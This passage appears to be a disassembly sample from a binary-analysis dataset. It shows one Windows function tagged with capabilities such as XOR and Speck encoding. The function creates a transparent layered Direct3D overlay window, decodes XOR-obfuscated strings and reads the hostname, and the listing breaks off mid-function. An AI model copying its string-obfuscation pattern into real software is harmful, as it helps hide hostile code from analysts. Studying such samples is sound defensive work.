Function at 0x1400ed650
Capabilities:
Create process on windows
Encode data using base64
Encode data using xor
Encrypt data using speck
Get hostname
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x1dbc0]
mov eax, 0x1dcc0
call fcn.1402c1f60
sub rsp, rax
movaps xmmword [rsp + 0x1dcb0], xmm6
movaps xmmword [rsp + 0x1dca0], xmm7
movaps xmmword [rsp + 0x1dc90], xmm8
movaps xmmword [rsp + 0x1dc80], xmm9
movaps xmmword [rsp + 0x1dc70], xmm10
movaps xmmword [rsp + 0x1dc60], xmm11
movaps xmmword [rsp + 0x1dc50], xmm12
movaps xmmword [rsp + 0x1dc40], xmm13
movaps xmmword [rsp + 0x1dc30], xmm14
movaps xmmword [rsp + 0x1dc20], xmm15
xor r13d, r13d
mov dword [rbp - 0x3c], r13d
mov r8b, 1
movzx edx, r8b
lea rcx, [0x1404b8d30]
call fcn.1401cdb10
call fcn.14008f410
mov word [0x1404b8fc8], r13w
mov qword [0x1404b8d20], r13
mov word [0x1404b8d28], r13w
mov byte [0x1404b8d2a], r13b
xorps xmm0, xmm0
xor eax, eax
movups xmmword [0x1404b8fd0], xmm0
movups xmmword [0x1404b8fe0], xmm0
movups xmmword [0x1404b8ff0], xmm0
movups xmmword [0x1404b9000], xmm0
mov byte [0x1404b9010], al
mov dword [0x1404b8d18], eax
movups xmmword [0x1404b8fa8], xmm0
mov qword [0x1404b8fb8], rax
mov dword [0x1404b8fc0], eax
mov byte [0x1404b8fc4], al
call fcn.14008f410
mov dword [rbp + 0x1cc0], 0x50
mov dword [rbp + 0x1cc4], 0x40
lea rax, [0x140093e40]
mov qword [rbp + 0x1cc8], rax
mov qword [rbp + 0x1cd0], r13
mov qword [rbp + 0x1cd8], r13
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rbp + 0x1ce0], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadCursorW]
mov qword [rbp + 0x1ce8], rax
mov qword [rbp + 0x1cf0], r13
movups xmm0, xmmword [0x140324148]
movups xmmword [rbp + 0xf00], xmm0
movups xmm1, xmmword [0x140324158]
movups xmmword [rbp + 0xf10], xmm1
mov r15d, dword [reloc.WS2_32.dll_accept]
pextrw eax, xmm1, 7
test ax, ax
je 0x1400ed954
cmp r15d, 2
jl 0x1400ed907
movdqa xmm5, xmmword [0x1402d9220]
mov edx, r13d
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm7, xmmword [str.33333333]
lea rcx, [rbp + 0xf00]
nop word [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [rdx + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add edx, 8
lea rcx, [rcx + 0x10]
cmp edx, 0x10
jl 0x1400ed820
jmp 0x1400ed954
lea r9, [rbp + 0xf00]
mov r8d, r13d
nop dword [rax]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x10
jl 0x1400ed920
lea rax, [rbp + 0xf00]
mov qword [rbp + 0x1cf8], rax
movups xmm7, xmmword [0x140324168]
movsd xmm0, qword [0x140324178]
movzx eax, word [0x140324180]
movups xmmword [rbp + 0xe10], xmm7
movsd qword [rbp + 0xe20], xmm0
mov word [rbp + 0xe28], ax
mov r8d, r13d
cmp r15d, 2
jl 0x1400eda8b
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [str.33333333]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm7
xorps xmm3, xmm1
movq qword [rbp + 0xe10], xmm3
movdqa xmm2, xmmword [0x140327d40]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0xe18]
xorps xmm3, xmm0
movq qword [rbp + 0xe18], xmm3
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xe10]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x1400edaa0
lea rax, [rbp + 0xe10]
mov qword [rbp + 0x1d00], rax
mov edx, 0x7f00
xor ecx, ecx
call qword [sym.imp.USER32.dll_LoadIconW]
mov qword [rbp + 0x1d08], rax
lea rcx, [rbp + 0x1cc0]
call qword [sym.imp.USER32.dll_RegisterClassExW]
mov edi, 1
mov ecx, edi
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
lea ebx, [rax - 0x10e]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
cdq
sub eax, edx
sar eax, 1
sub eax, 0x17c
movsd xmm0, qword [0x140324188]
movsd qword [rbp + 0x818], xmm0
mov edx, dword [0x140324190]
mov dword [rbp + 0x820], edx
movzx ecx, word [reloc.WS2_32.dll_gethostname]
mov r8d, Ordinal_79
mov word [rbp + 0x818], r8w
xor word [rbp + 0x81a], 0x34
xor word [rbp + 0x81c], 0x35
xor word [rbp + 0x81e], 0x36
xor dx, 0x37
mov word [rbp + 0x820], dx
xor word [rbp + 0x822], 0x38
xor cx, 0x39
mov word [rbp + 0x824], cx
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x50], r13
mov qword [rsp + 0x48], r13
mov qword [rsp + 0x40], r13
mov dword [rsp + 0x38], 0x21e
mov dword [rsp + 0x30], 0x2fa
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], eax
mov r9d, 0x80000000
lea r8, [rbp + 0x818]
mov rdx, qword [rbp + 0x1d00]
xor ecx, ecx
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov qword [0x1404b8d00], rax
lea edx, [rdi - 0x15]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowLongW]
bts eax, 0x13
mov r8d, eax
lea edx, [rdi - 0x15]
mov rcx, qword [0x1404b8d00]
call qword [sym.imp.USER32.dll_SetWindowLongA]
lea edx, [rdi - 0x11]
mov rcx, qword [0x1404b8d00]
call qword [sym.imp.USER32.dll_GetWindowLongW]
or eax, 0x30000
mov r8d, eax
lea edx, [rdi - 0x11]
mov rcx, qword [0x1404b8d00]
call qword [sym.imp.USER32.dll_SetWindowLongW]
lea r9d, [rdi + 1]
mov r8b, 0xff
xor edx, edx
mov rcx, qword [0x1404b8d00]
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
movdqa xmm0, xmmword [0x140327ca0]
movdqu xmmword [rbp + 0xbe0], xmm0
lea rdx, [rbp + 0xbe0]
mov rcx, qword [0x1404b8d00]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
xorps xmm0, xmm0
movups xmmword [0x1404b8d08], xmm0
lea rdx, [0x1404b8d08]
mov rcx, qword [0x1404b8d00]
call qword [sym.imp.USER32.dll_GetWindowRect]
mov qword [rbp + 0x1c84], r13
mov qword [rbp + 0x1c98], 2
mov qword [rbp + 0x1cb0], 2
mov qword [rbp + 0x1c70], r13
mov dword [rbp + Ordinal_3080], 0x1c
mov dword [rbp + 0x1c78], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0x1c7c], edi
mov dword [rbp + 0x1c94], reloc.WLDAP32.dll_Ordinal_32
mov rax, qword [0x1404b8d00]
mov qword [rbp + 0x1ca0], rax
mov qword [rbp + 0x1c8c], rdi
mov qword [rbp + 0x1ca8], rdi
mov dword [rbp + 0x4d0], 0xb000
mov dword [rbp + 0x4d4], 0xa000
lea rax, [0x1404b9020]
mov qword [rsp + 0x58], rax
lea rax, [rbp - 0x38]
mov qword [rsp + 0x50], rax
lea rax, [0x1404b9018]
mov qword [rsp + 0x48], rax
lea rax, [0x1404b9028]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x1c70]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
lea rcx, [rbp + 0x4d0]
mov qword [rsp + 0x20], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, edi
xor ecx, ecx
call sub.d3d11.dll_D3D11CreateDeviceAndSwapChain
test eax, eax
je 0x1400eddd4
call fcn.14008eda0
mov rdx, qword [rbp + 0x1cd8]
mov rcx, qword [rbp + 0x1d00]
call qword [sym.imp.USER32.dll_UnregisterClassW]
mov eax, edi
lea r11, [rsp + 0x1dcc0]
mov rbx, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm9, xmmword [r11 - 0x40]
movaps xmm10, xmmword [r11 - 0x50]
movaps xmm11, xmmword [r11 - 0x60]
movaps xmm12, xmmword [r11 - 0x70]
movaps xmm13, xmmword [r11 - 0x80]
movaps xmm14, xmmword [r11 - 0x90]
movaps xmm15, xmmword [r11 - 0xa0]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.14008ee50
mov edx, 0xa
mov rcx, qword [0x1404b8d00]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x1404b8d00]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov edx, 0x7fff
lea rcx, [rbp + 0x15b20]
call sub.WS2_32.dll_gethostname
lea rax, [rbp + 0xf20]
mov qword [rbp - 0x80], rax
movups xmm7, xmmword [str.U_CQYZNNNXL_]
movups xmmword [rbp + 0x650], xmm7
movsd xmm0, qword [0x1403241e8]
movsd qword [rbp + 0x660], xmm0
movzx eax, word [0x1403241f0]
mov word [rbp + 0x668], ax
mov r8d, r13d
cmp r15d, 2
jl 0x1400edf3d
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [str.33333333]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm7
xorps xmm3, xmm1
movq qword [rbp + 0x650], xmm3
movdqa xmm2, xmmword [0x140327d40]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp + 0x658]
xorps xmm3, xmm0
movq qword [rbp + 0x658], xmm3
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x650]
lea r9, [r9 + rax*2]
nop dword [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0xd
jl 0x1400edf50
lea rdx, [rbp + 0x650]
lea rcx, [rbp + 0xf20]
call fcn.140089c90
mov rbx, rax
movups xmm0, xmmword [0x140324198]
movups xmmword [rbp - 8], xmm0
movups xmm1, xmmword [0x1403241a8]
movups xmmword [rbp + 8], xmm1
movups xmm0, xmmword [0x1403241b8]
movups xmmword [rbp + 0x18], xmm0
movsd xmm0, qword [0x1403241c8]
movsd qword [rbp + 0x28], xmm0
mov eax, dword [0x1403241d0]
mov dword [rbp + 0x30], eax
mov r8d, r13d
cmp r15d, 2
jl 0x1400ee0f1
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm7, xmmword [str.33333333]
lea rcx, [rbp - 8]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x18
jl 0x1400ee002
cmp r8d, 0x1e
jge 0x1400ee134
movsxd rax, r8d
lea r9, [rbp - 8]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x1e
jl 0x1400ee100
lea rdx, [rbp - 8]
lea rcx, [rbp + 0xf40]
call fcn.140089c90
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xf60]
call fcn.140107b40
mov rdx, rax
lea rcx, [0x14049e700]
call fcn.14008c120
lea rcx, [rbp + 0xf60]
call fcn.140065be0
lea rax, [rbp + 0xf80]
mov qword [rbp - 0x80], rax
movups xmm7, xmmword [str.cFZRB_M:_qystl]
movups xmmword [rbp - 0x18], xmm7
pextrw eax, xmm7, 7
test ax, ax
je 0x1400ee2c4
cmp r15d, 2
jl 0x1400ee283
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [str.33333333]
movdqa xmm2, xmmword [0x1402d9220]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm1, xmm7
xorps xmm3, xmm1
movq qword [rbp - 0x18], xmm3
movdqa xmm2, xmmword [0x140327d40]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140327d50]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm6
paddw xmm3, xmm2
movq xmm0, qword [rbp - 0x10]
xorps xmm3, xmm0
movq qword [rbp - 0x10], xmm3
jmp 0x1400ee2c4
lea r9, [rbp - 0x18]
mov r8d, r13d
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 8
jl 0x1400ee290
lea rdx, [rbp - 0x18]
lea rcx, [rbp + 0xf80]
call fcn.140089c90
mov rbx, rax
movups xmm0, xmmword [0x1403241f8]
movups xmmword [rbp - 8], xmm0
movups xmm1, xmmword [0x140324208]
movups xmmword [rbp + 8], xmm1
movups xmm0, xmmword [0x140324218]
movups xmmword [rbp + 0x18], xmm0
movsd xmm0, qword [0x140324228]
movsd qword [rbp + 0x28], xmm0
mov eax, dword [0x140324230]
mov dword [rbp + 0x30], eax
mov r8d, r13d
cmp r15d, 2
jl 0x1400ee42f
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm7, xmmword [str.33333333]
lea rcx, [rbp - 8]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x18
jl 0x1400ee340
cmp r8d, 0x1e
jge 0x1400ee474
movsxd rax, r8d
lea r9, [rbp - 8]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x1e
jl 0x1400ee440
lea rdx, [rbp - 8]
lea rcx, [rbp + 0xfa0]
call fcn.140089c90
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0xfc0]
call fcn.140107b40
mov rdx, rax
lea rcx, [0x14049e720]
call fcn.14008c120
lea rcx, [rbp + 0xfc0]
call fcn.140065be0
lea rax, [rbp + 0xfe0]
mov qword [rbp - 0x80], rax
movsd xmm0, qword [str.UXS7]
movsd qword [rsp + 0x60], xmm0
movzx eax, word [0x140324290]
mov ecx, Ordinal_79
mov word [rsp + 0x60], cx
xor word [rsp + 0x62], 0x34
xor word [rsp + 0x64], 0x35
xor word [rsp + 0x66], 0x36
xor ax, 0x37
mov word [rsp + 0x68], ax
lea rdx, [rsp + 0x60]
lea rcx, [rbp + 0xfe0]
call fcn.140089c90
mov rbx, rax
movups xmm0, xmmword [0x140324248]
movups xmmword [rbp - 8], xmm0
movups xmm1, xmmword [0x140324258]
movups xmmword [rbp + 8], xmm1
movups xmm0, xmmword [0x140324268]
movups xmmword [rbp + 0x18], xmm0
movsd xmm0, qword [0x140324278]
movsd qword [rbp + 0x28], xmm0
mov eax, dword [0x140324280]
mov dword [rbp + 0x30], eax
mov r8d, r13d
cmp r15d, 2
jl 0x1400ee66f
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm7, xmmword [str.33333333]
lea rcx, [rbp - 8]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x18
jl 0x1400ee580
cmp r8d, 0x1e
jge 0x1400ee6b4
movsxd rax, r8d
lea r9, [rbp - 8]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x1e
jl 0x1400ee680
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x1000]
call fcn.140089c90
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rbp + 0x1020]
call fcn.140107b40
mov rdx, rax
lea rcx, [0x14049e740]
call fcn.14008c120
lea rcx, [rbp + 0x1020]
call fcn.140065be0
movups xmm0, xmmword [0x1403242a0]
movups xmmword [rbp - 8], xmm0
movups xmm1, xmmword [0x1403242b0]
movups xmmword [rbp + 8], xmm1
movups xmm0, xmmword [0x1403242c0]
movups xmmword [rbp + 0x18], xmm0
movups xmm1, xmmword [0x1403242d0]
movups xmmword [rbp + 0x28], xmm1
mov eax, dword [0x1403242e0]
mov dword [rbp + 0x38], eax
movzx eax, word [0x1403242e4]
mov word [rbp + 0x3c], ax
mov r8d, r13d
cmp r15d, 2
jl 0x1400ee85f
movdqa xmm5, xmmword [0x1402d9220]
movdqa xmm4, xmmword [0x140327f20]
movdqa xmm6, xmmword [0x140327d50]
movdqa xmm7, xmmword [str.33333333]
lea rcx, [rbp - 8]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x20
jl 0x1400ee770
cmp r8d, 0x23
jge 0x1400ee8a4
movsxd rax, r8d
lea r9, [rbp - 8]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x51eb851f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x32
movzx eax, r8w
sub ax, cx
add ax, 0x33
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x23
jl 0x1400ee870
lea rdx, [rbp - 8]
lea rcx, [rbp + 0x1040]
call fcn.140089c90
mov rdx, rax
lea rcx, [rbp + 0xd98]
call fcn.140107200
nop
mov rdx, qword [rax]
lea rax, [0x14049e760]
cmp rax, rdx
je 0x1400ee8ea
mov r8, qword [rdx + 0x10]
cmp qword [rdx + 0x18], 0xf
jbe 0x1400ee8e1
mov rdx, qword [rdx]
mov rcx, rax
call fcn.1400977d0
nop
lea rcx, [rbp + 0xd98]
call fcn.14008b5d0
lea rax, [rbp + 0x1060]
mov qword [rbp - 0x80], rax
movups xmm0, xmmword [0x140324318]
movups xmmword [rbp - 8], xmm0
movups xmm1, xmmword [0x140324328]
movups xmmword [rbp + 8], xmm1
